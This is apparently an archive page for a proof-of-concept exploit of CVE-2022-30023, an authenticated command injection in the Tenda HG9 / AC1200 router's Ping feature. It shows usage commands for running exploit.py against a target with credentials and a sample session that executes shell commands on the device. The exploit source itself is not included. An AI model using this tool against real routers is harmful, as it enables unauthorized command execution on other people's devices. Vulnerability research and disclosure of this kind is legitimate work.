CVE-2022-30023 PoC — Tenda AC1200 操作系统命令注入漏洞

Source

https://github.com/Haniwa0x01/CVE-2022-30023

Associated Vulnerability

Title:Tenda AC1200 操作系统命令注入漏洞 (CVE-2022-30023)
Description:Tenda AC1200是中国腾达（Tenda）公司的一款无线路由器。 Tenda ONT GPON AC1200 Dual band WiFi HG9 v1.0.1 版本存在操作系统命令注入漏洞，攻击者利用该漏洞可通过 Ping 功能进行命令注入攻击。

Readme

# CVE-2022-30023

Authenticated Command Injection on Tenda HG9 Router

#### Usage
```
git clone https://github.com/Haniwa0x01/CVE-2022-30023
cd CVE-2022-30023
python exploit.py -u http://target -U "user" -P "password"
```

#### Example

```
pc@pc-note:~/CVE-2022-30023/$ python3 exploit.py -u "http://10.0.0.1" -U "admin" -P "admin"
[!]: Logged!
[CMD]: ls -la

drwxrwxr-x    3 admin    root            54 Jan 25  2021 .
drwxrwxr-x    3 admin    root            28 Jan 25  2021 ..
-rwxrwxr-x    1 admin    root          6306 Jan 25  2021 boa.conf
drwxrwxr-x    6 admin    root          5129 Jan 25  2021 web

[CMD]:
```

File Snapshot


 [4.0K]  /data/pocs/1ac87059e60d45b488773f42bd928eacbba42d49
├── [2.5K]  exploit.py
└── [ 619]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!